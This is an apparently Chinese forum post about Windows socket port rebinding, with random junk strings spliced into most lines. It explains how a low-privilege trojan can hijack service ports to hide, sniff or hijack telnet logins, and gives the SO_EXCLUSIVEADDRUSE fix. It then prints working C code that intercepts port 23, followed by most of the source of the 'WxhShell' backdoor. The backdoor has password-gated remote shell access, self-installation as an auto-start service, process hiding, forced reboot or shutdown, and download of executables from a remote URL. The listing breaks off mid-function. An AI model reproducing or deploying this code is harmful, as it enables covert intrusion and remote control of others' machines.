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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IOX:yxj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mLQUcYfR  
'\ XsTs#L  
  saddr.sin_family = AF_INET; @FU~1u3d  
CPVmF$A-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #sS9vv7i  
/;7ID41  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]?M)NRk%S  
.5 ]{M\aA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4'` C1a  
1b8c67j[  
  这意味着什么?意味着可以进行如下的攻击: Jb9F=s+  
- {0g#G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4Mi~1iZj  
;sCU [4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U[bgu#P;  
Hl/7(FJqc>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zs0hXxTY:  
zPHy2H$28  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [#>{4qY2  
sSz%V[X WL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 86y%=!bS  
0lBat_<8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ldYeX+J _  
i2`#   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r 3|4gG  
lAz2%s{6  
  #include I ld7}R  
  #include g1ytT%]  
  #include dGU8+)2cn  
  #include    K0v.3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?3Pazc]+|  
  int main() (U_wp's  
  { qv$!\T  
  WORD wVersionRequested; H}B2A"  
  DWORD ret; Jl_~_Z  
  WSADATA wsaData; r,Ds[s)B  
  BOOL val; v~f'K3fLp  
  SOCKADDR_IN saddr; 8'\~%xw  
  SOCKADDR_IN scaddr; 5=Suj*s{D#  
  int err; y~dB5/  
  SOCKET s; =tnTdp0F  
  SOCKET sc; 9{$8\E9*nd  
  int caddsize; F(;jM(  
  HANDLE mt; Fh^ox"3c  
  DWORD tid;   nGns}\!7'  
  wVersionRequested = MAKEWORD( 2, 2 ); GyuV %  
  err = WSAStartup( wVersionRequested, &wsaData ); =&N$Vqn  
  if ( err != 0 ) { -<PC"B  
  printf("error!WSAStartup failed!\n"); Vha'e3 o!  
  return -1; 'bC]M3P  
  } 8<{;=m8cQ  
  saddr.sin_family = AF_INET; 5a6VMqQ6  
   *<xrp*O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2uEhOi0I  
bQ"N ;d)e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6< >SHw  
  saddr.sin_port = htons(23); *%I[ ke *  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i%MA"I\9  
  { `zY!`G  
  printf("error!socket failed!\n"); DRp&IP<  
  return -1; F3Ap1-%z  
  } OT;cfkf7  
  val = TRUE; -zTEL (r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BJgDo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Xo8DEr  
  { NHAH#7]M&1  
  printf("error!setsockopt failed!\n"); bNXAU\M^  
  return -1; iE=P'"I  
  } ewym 1}o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eG4>d^`c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rFfy#e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vf N#NY6  
&wb9_? ir-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !)nD xM`p  
  { I-bF{  
  ret=GetLastError(); M/} aq  
  printf("error!bind failed!\n"); z&>|*C.Y  
  return -1; -%H%m`wD  
  } [IMQIX  
  listen(s,2); :/i~y$t  
  while(1) r@yD8D \  
  { ami09JHy  
  caddsize = sizeof(scaddr); +9C;<f  
  //接受连接请求 RG&6FRoq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1 }nm2h1 I  
  if(sc!=INVALID_SOCKET) Oy%Im8.-A#  
  { :!']p2B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :~D]; m  
  if(mt==NULL) xW\,KSK  
  { e3g_At\  
  printf("Thread Creat Failed!\n"); rREzM)GA  
  break; /BKtw8  
  } C\A49q  
  } ,T{oy:rB  
  CloseHandle(mt); a,cC!   
  } ~&KX-AC@  
  closesocket(s); '?8Tx&}U8  
  WSACleanup(); # 66e@  
  return 0; >XnO&hW  
  }   Um\0i;7 ~4  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;ctU&`  
  { ;cLUnsB\  
  SOCKET ss = (SOCKET)lpParam; 6__K#r  
  SOCKET sc; 3S;N(A4  
  unsigned char buf[4096]; cix36MR_  
  SOCKADDR_IN saddr; akCIa'>t  
  long num; (u9Zk~)F  
  DWORD val; :XYy7xz<  
  DWORD ret; JGgxAd{L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B9^R8|V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jA<T p}$!  
  saddr.sin_family = AF_INET; n_9x"m$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lhxdx    
  saddr.sin_port = htons(23); s!de2z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8lb-}=  
  { <xqba4O  
  printf("error!socket failed!\n"); { 8p\Y  
  return -1; SK-W%t  
  } @[v8}D  
  val = 100; @RVOXkVo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q6x%  
  { [O 1|75  
  ret = GetLastError(); {(Fe7,.S3  
  return -1; t !~ S9c  
  } + Kk@Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u|OtKq  
  { :1MM a6  
  ret = GetLastError(); hDvpOIUL1  
  return -1; Gkmsaf>  
  } gl "_:atW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) " '[hr$h3  
  { }dKLMNqPA  
  printf("error!socket connect failed!\n"); xqv[? ?  
  closesocket(sc); .Q[yD<)Ubs  
  closesocket(ss); F. T@)7  
  return -1; 'Sa!5h  
  } mgcN(n1  
  while(1) { i;6vRr  
  { Y&GuDLUF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z 6cYC,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I N_gF_@%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C{&)(#*L  
  num = recv(ss,buf,4096,0); K'Spbn!nC  
  if(num>0) Ue!Q."  
  send(sc,buf,num,0); v20~^gKo=m  
  else if(num==0) P7r4ePtLk{  
  break; C0(sAF@  
  num = recv(sc,buf,4096,0); 8W,*eke?  
  if(num>0) ox4W$YdMG  
  send(ss,buf,num,0); Rsn^eR6^  
  else if(num==0) Nv3tt  
  break; *~;8N|4<  
  } :\bfGSD/gd  
  closesocket(ss); HH zEQV Lh  
  closesocket(sc);  5~s{N  
  return 0 ; s.rT]  
  } ;($1Z7j+  
wT/6aJoX  
]/44Ygz/  
========================================================== iRs V#s  
Bc[6*Y,%T  
下边附上一个代码,,WXhSHELL Wj OH/$(  
choL %g}  
========================================================== nq@5j0fK  
5#!ogKQ(i  
#include "stdafx.h" [%~^kq=|  
[gZDQcU  
#include <stdio.h> k%Eh{dA  
#include <string.h> WHk/$7_"i  
#include <windows.h> G"> 0]LQ  
#include <winsock2.h> 2-s7cXs  
#include <winsvc.h> OZT^\Ky_l  
#include <urlmon.h> S&01SX6  
`Cg^in\  
#pragma comment (lib, "Ws2_32.lib") !tBeuemN%  
#pragma comment (lib, "urlmon.lib") rS,j;8D-  
~p.%.b;~t  
#define MAX_USER   100 // 最大客户端连接数 \JU{xQMB  
#define BUF_SOCK   200 // sock buffer bKUyBk,\#  
#define KEY_BUFF   255 // 输入 buffer ,R~eY?{a  
.YC;zn^  
#define REBOOT     0   // 重启 VA2<r(y~(  
#define SHUTDOWN   1   // 关机 ,CKvTxz0  
1i+FL''  
#define DEF_PORT   5000 // 监听端口 f3t. T=S  
B1+ZFQo  
#define REG_LEN     16   // 注册表键长度 qHJ'1~?q  
#define SVC_LEN     80   // NT服务名长度 <r;o6>+  
Yrsp%<qj  
// 从dll定义API ttj2b$M,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `:4MMr91  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 50,Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O9*p0%ug  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `p1DaV  
:x+ig5  
// wxhshell配置信息 <m1sSghg  
struct WSCFG { e?=elN  
  int ws_port;         // 监听端口 n;qz^HXEJ  
  char ws_passstr[REG_LEN]; // 口令 !-RwB@\  
  int ws_autoins;       // 安装标记, 1=yes 0=no !7c'<[+Hm  
  char ws_regname[REG_LEN]; // 注册表键名 |[ocyUsxX  
  char ws_svcname[REG_LEN]; // 服务名 `j:M)2:*y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W>:kq_gT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A$<>JVv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pyF5S,c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XN(tcdCG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >2Ca5C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s|gp  
gIBpOPr^d  
}; A6i et~h[  
[Auc*@  
// default Wxhshell configuration m>YWxa   
struct WSCFG wscfg={DEF_PORT, <`+zvUx^?  
    "xuhuanlingzhe", f?0D%pxc}&  
    1, 1 7i$8  
    "Wxhshell", /x/4NeD  
    "Wxhshell", N]u2ql&  
            "WxhShell Service", -ek1$y9)  
    "Wrsky Windows CmdShell Service", R'Eq:Rv~;^  
    "Please Input Your Password: ", piuKV U  
  1, doH2R @  
  "http://www.wrsky.com/wxhshell.exe", !&JiNn('  
  "Wxhshell.exe" ^9'$Oa,*  
    }; avBua6i'  
C#$6O8O  
// 消息定义模块 P\T|[%E'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5& *zY)UL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Z4o{(/zU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AWL[zixR  
char *msg_ws_ext="\n\rExit."; ~v\hIm3=m  
char *msg_ws_end="\n\rQuit."; s ^3[W0hL  
char *msg_ws_boot="\n\rReboot..."; oXbI5XY)wb  
char *msg_ws_poff="\n\rShutdown..."; 3G.r-  
char *msg_ws_down="\n\rSave to "; avy=0Jmj  
J&_3VKrN  
char *msg_ws_err="\n\rErr!"; 6qDfcs  
char *msg_ws_ok="\n\rOK!"; |lE-&a$xd  
o$\tHzB9!A  
char ExeFile[MAX_PATH]; t\|J&4!Y  
int nUser = 0; uOFnCy 4  
HANDLE handles[MAX_USER]; Pxk0(oBX  
int OsIsNt; *`1bc'umM;  
9t}J|09i  
SERVICE_STATUS       serviceStatus; A!4VjE>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5A,=vE  
3`ml; L?D  
// 函数声明 j[H0SBKC  
int Install(void); Ge0Lb+<G  
int Uninstall(void); =1/q)b,p)  
int DownloadFile(char *sURL, SOCKET wsh); zv@bI~3~  
int Boot(int flag); K9*IA@xL  
void HideProc(void); u{P~zyx  
int GetOsVer(void); ,02w@we5  
int Wxhshell(SOCKET wsl); (JU_8j!  
void TalkWithClient(void *cs); W]@6=OpH  
int CmdShell(SOCKET sock); )^";BVY  
int StartFromService(void); (M8h y4Ex  
int StartWxhshell(LPSTR lpCmdLine); W\NG>t  
hbH#Co~o4#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gg(k7e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (FG^UA#'  
:Dj#VN  
// 数据结构和表定义 5pmQp}}R  
SERVICE_TABLE_ENTRY DispatchTable[] = o~k;D{Snr  
{ vS#{-X  
{wscfg.ws_svcname, NTServiceMain}, @ge LW!  
{NULL, NULL} ]/[0O+B?  
}; {!y<<u1  
Tm\OYYyk  
// 自我安装 "]UIz_^'`U  
int Install(void) 4]IKh,jT  
{ 9 R  
  char svExeFile[MAX_PATH]; aH  
  HKEY key; CdNih8uG  
  strcpy(svExeFile,ExeFile); ^6#-yDZC@  
. wmkj  
// 如果是win9x系统,修改注册表设为自启动 jNIUsM 8e  
if(!OsIsNt) { j6}$+!E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~M; gM]r;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s{B_N/^  
  RegCloseKey(key); Wxc^_iqA1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h&P {p _Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4a?r` '  
  RegCloseKey(key); Gn[*?=Vy  
  return 0; 1EuK, :x  
    } EzUPah  
  } (s ;zRb!4L  
} 9':/Sab:7v  
else { oAaf)?8  
^9s"FdB]24  
// 如果是NT以上系统,安装为系统服务 E)Srj~$d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z>&K&ttJ  
if (schSCManager!=0) 97(n\Wt 2  
{ W%WC(/hor  
  SC_HANDLE schService = CreateService fSr`>UpxC  
  ( ^^eV4Y5`+  
  schSCManager, jQkUNPHu  
  wscfg.ws_svcname, }I)z7l.  
  wscfg.ws_svcdisp, p KnIQa[c  
  SERVICE_ALL_ACCESS, l:x _j\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , | 4 `.#4  
  SERVICE_AUTO_START, g/!Otgfu  
  SERVICE_ERROR_NORMAL, ff[C'  
  svExeFile, j 37:  
  NULL, p8_2y~ !  
  NULL, VD9J}bgJ  
  NULL, 1P \up   
  NULL, l%@dE7<&#Z  
  NULL 4[Z1r~t\L  
  ); E::<; 9  
  if (schService!=0) j $KM9  
  { &62` Wr0C  
  CloseServiceHandle(schService); p#z;cjfSt  
  CloseServiceHandle(schSCManager); r.9 $y/5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8>m1UONr  
  strcat(svExeFile,wscfg.ws_svcname); ;}f6Y['z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o3fR3P%$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gn364U a  
  RegCloseKey(key); @ E >eq.m  
  return 0; 0T=jR{j!o  
    } uV!MW=)  
  } W!y)Ho  
  CloseServiceHandle(schSCManager); GgT=t)}wu  
} 48;~bVr}  
} ')rD?Z9 ^  
b6]e4DL:R  
return 1; )S#j.8P'B  
} coSTZ&0  
Bg5;Q)  
// 自我卸载 %@o&*pF^,  
int Uninstall(void) C9GU6Ao  
{ tjt=N\;  
  HKEY key; /m;O;2"  
# .~.UHt  
if(!OsIsNt) { /O+e#z2f<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [q w  
  RegDeleteValue(key,wscfg.ws_regname); b5[f 5  
  RegCloseKey(key); HuK Aj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O.dux5lfBd  
  RegDeleteValue(key,wscfg.ws_regname); |b,zw^!e['  
  RegCloseKey(key); L,GShl0S  
  return 0; Gi;9 S  
  } e K\|SQb  
} py}.00it  
} 0@:Y>qVa  
else { O~nBz):2  
v]l&dgoT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \l>q Y(gu  
if (schSCManager!=0) %}\ vW  
{ K90D1sD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {jrZ?e-q  
  if (schService!=0) IruyE(;HS  
  { G3oxa/mO  
  if(DeleteService(schService)!=0) { #*[,woNk  
  CloseServiceHandle(schService); 2lX[hFa5  
  CloseServiceHandle(schSCManager); vI4%d,  
  return 0; 'M47'{7T  
  } sb8z_3   
  CloseServiceHandle(schService); F fZ{%E  
  } "9TxK6  
  CloseServiceHandle(schSCManager); U.d'a~pH  
} ?G2qlna  
} |zK!+fu  
aB/{ %%o  
return 1; WNCM|VUl  
} ;GiI'M  
nLzX Z6JlU  
// 从指定url下载文件 O_qu;Dx!  
int DownloadFile(char *sURL, SOCKET wsh) sj#{TTW  
{ ~+7ad$   
  HRESULT hr; +#^sy>  
char seps[]= "/"; |^ 2rtI  
char *token; QJ[(Y@ O6a  
char *file; C]aOgt/U  
char myURL[MAX_PATH]; ru#T^AI*^  
char myFILE[MAX_PATH]; Z $ p^v*y  
)6PJ*;p-  
strcpy(myURL,sURL); ,?P8m"  
  token=strtok(myURL,seps); Lw!?T(SK  
  while(token!=NULL) K<Yn_G  
  { ';i"?D?NAk  
    file=token; \=HfO?$ Ro  
  token=strtok(NULL,seps); @1/Q  
  } $71i+h]_  
3s88#_eT  
GetCurrentDirectory(MAX_PATH,myFILE); 2&zn^\%"  
strcat(myFILE, "\\"); xc:`}4  
strcat(myFILE, file); =1V>Vd?8.  
  send(wsh,myFILE,strlen(myFILE),0); -wPuml!hZ|  
send(wsh,"...",3,0); S7@ZtFf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GGFar\ EzW  
  if(hr==S_OK) j+z'  
return 0; AAeQ-nbP  
else Dx p>  
return 1; }rFsU\]:q  
i{%z  
} KZ367&>b7  
I{i:B  
// 系统电源模块 D5o+ 0R  
int Boot(int flag) 9q@ z[+X  
{ X}n&`y{/  
  HANDLE hToken; n"K {uj))  
  TOKEN_PRIVILEGES tkp; ; 'b!7sMO~  
hfl%r9o  
  if(OsIsNt) { 5`OK-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;EE{ ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |SSf G~r  
    tkp.PrivilegeCount = 1; jQH5$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =B3!jir  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FFD*e-i  
if(flag==REBOOT) { ,qBnqi[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j SUAU}u!M  
  return 0; ' 91u q  
} FJ3:}r6 "  
else { %XDip]+rb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A>&>6O4  
  return 0; Bd N{[2  
} ZmYa.4'L  
  } 4iL.4Uj{N  
  else { ~T;a jvJ  
if(flag==REBOOT) { P?W T)C2)u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $=@9 D,R  
  return 0; 7(nz<z p  
} <:kTTye|  
else { ]$XBd{\D{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cNuuzA  
  return 0; '6d D^0dZ  
} xv(xweV+d  
} softfjl&l  
'.}6]l  
return 1; yNb#Ia  
} utFcFd X  
.:r2BgL  
// win9x进程隐藏模块 eEg1-  
void HideProc(void) qxg7cj2  
{ 7~%  
Uy_}@50"l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LB64W ;#h  
  if ( hKernel != NULL ) W?4&lC^G  
  { / %U~lr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TQb FI;\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `o^;fcnG  
    FreeLibrary(hKernel); D x >1y  
  }  q~:'R  
mBD!:V'  
return; y(wqcDok|n  
} lO5gkOJ?  
"0!eb3n  
// 获取操作系统版本 |({UV-`  
int GetOsVer(void) b;~EJ  
{ 2y .-4?e  
  OSVERSIONINFO winfo; 6\S$I5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U#~nN+SIt  
  GetVersionEx(&winfo); Ilt L@]e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .T62aJ   
  return 1; X T)hPwg.  
  else @88z{  
  return 0; }77=<N br  
} `pv89aO  
mw4'z,1Q  
// 客户端句柄模块 tl,x@['p`  
int Wxhshell(SOCKET wsl) F~d7;x =g  
{ 2A18hP`^  
  SOCKET wsh; LK-K_!F  
  struct sockaddr_in client; /Mi-lh^j-  
  DWORD myID; 9B?t3:  
GqK&'c   
  while(nUser<MAX_USER) G,mH!lSm,  
{ ;5JIY7t  
  int nSize=sizeof(client); }TAGr 0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )2^/?jK  
  if(wsh==INVALID_SOCKET) return 1; 0 z'={6,  
wEHrer  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6GrMcI@hS  
if(handles[nUser]==0) }:c,S O!  
  closesocket(wsh); 7&;jje[ <g  
else ;]#4p8lh+  
  nUser++; r* /XB0  
  } }T1Xds8w)t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z7us*8X{  
nm:let7GB  
  return 0; V~uA(3\U  
} ^?S@v1~7d  
>I66R;  
// 关闭 socket pg& ]F  
void CloseIt(SOCKET wsh) ]Buk9LTe  
{ *l'$pJ X  
closesocket(wsh); /cg]wG!n8  
nUser--; $e t :  
ExitThread(0); GYb2m"a)  
} (=3&8$  
xf F&$K"  
// 客户端请求句柄 (a)@<RF`Q}  
void TalkWithClient(void *cs) Qig!NgOM  
{ YV_I-l0  
C[<\ufclD  
  SOCKET wsh=(SOCKET)cs; N mjBJ_G  
  char pwd[SVC_LEN]; ^D> MDj6  
  char cmd[KEY_BUFF]; 5z(>4d!  
char chr[1]; @ vYN7  
int i,j; B+q+)O+  
n+F-,=0  
  while (nUser < MAX_USER) { d`q)^  
$>rfAs!  
if(wscfg.ws_passstr) { !=Kay^J~.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x ;?1#W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5SWX v+  
  //ZeroMemory(pwd,KEY_BUFF); *d,n2a#n5  
      i=0; ADl>~3b  
  while(i<SVC_LEN) { F~@1n ,[  
*~oDP@[S  
  // 设置超时 -Fw4;&>  
  fd_set FdRead; b Ho?Rw!.  
  struct timeval TimeOut; RKJWLofX&  
  FD_ZERO(&FdRead); &=yqWW?  
  FD_SET(wsh,&FdRead); @Q1F#IU  
  TimeOut.tv_sec=8; $O</akn;  
  TimeOut.tv_usec=0; \,IDLXqp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HgBEV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yI)fu^  
uY%3X/^j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /a/uS3&  
  pwd=chr[0];  E_I6  
  if(chr[0]==0xd || chr[0]==0xa) { yar IR|  
  pwd=0; ~x^+OXf!^g  
  break; T9;o.f S  
  } E|A_|FS&%  
  i++; $Qc%9p @i  
    } :tDGNz*zG  
XxU}|jTO#  
  // 如果是非法用户,关闭 socket   SrU   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3z. >b  
} bDh(;%=  
0c;"bA0>Sx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cXE y>U|/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = Ow&UI  
*l8vCa9Y  
while(1) { [x()^{;2  
_ ~$0cj<  
  ZeroMemory(cmd,KEY_BUFF); ez9M]! 8Lt  
xMGd'l?  
      // 自动支持客户端 telnet标准   l|QFNW[i  
  j=0; z+B  
  while(j<KEY_BUFF) { W p* v Vv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^?VT y5yp  
  cmd[j]=chr[0]; \Nn%*?f  
  if(chr[0]==0xa || chr[0]==0xd) { xF>w r r  
  cmd[j]=0; w`Aw+[24  
  break; w8@|b}  
  } 'eXw`kw(  
  j++; 30v1VLR_)  
    } b,V=B{(~  
oDDH;Q"M(  
  // 下载文件 5GpKX  
  if(strstr(cmd,"http://")) { ~SUl,Cs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^?0,G>I%-  
  if(DownloadFile(cmd,wsh)) F(n))`(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  2x J5  
  else >\Pj(,'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]6 7wk  
  } |,~A9  
  else { L}pFb@  
*)SgdC/f  
    switch(cmd[0]) { n>+W]I&E  
  [5:7 WqB  
  // 帮助 @wZ_VE7B  
  case '?': { sbhEZ#7#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z4UQ:z@  
    break; vu \Dx9  
  } QlXF:Gx"=  
  // 安装 ]b$,.t5  
  case 'i': { .B n2;nO  
    if(Install()) EqU[mqeF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY6S\Gn  
    else .F|WQ7Mu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lL f01sa4  
    break; ]/naH#8G  
    } J}u1\Id%  
  // 卸载 \ku{-^7  
  case 'r': { P z!yIj  
    if(Uninstall()) z Ns8\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~4:sJ\P=  
    else TzXl ?N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vwD(J.;  
    break; DKCy h`  
    } h--!pE+  
  // 显示 wxhshell 所在路径 R;ug+N  
  case 'p': { IbQ~f+y&2  
    char svExeFile[MAX_PATH]; Q1B! W  
    strcpy(svExeFile,"\n\r"); pLcng[  
      strcat(svExeFile,ExeFile); _n gMC]-T  
        send(wsh,svExeFile,strlen(svExeFile),0); nuA!Jln_  
    break; J#WPXE+Ds  
    } Kf5p* AI  
  // 重启 _kLoDju%  
  case 'b': { C#0Wo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '2#fkH[.  
    if(Boot(REBOOT)) >>xV-1h:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *(IO<KAg8  
    else { " <AljgF  
    closesocket(wsh); FeMu`|2  
    ExitThread(0); A*i_- ;W)  
    } FZ/&[;E!  
    break; =w>QG{-N  
    } sva$@y7b  
  // 关机 \2b9A' d>  
  case 'd': { Ut=y`]F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a{,t@G  
    if(Boot(SHUTDOWN)) @jeV[N,0  
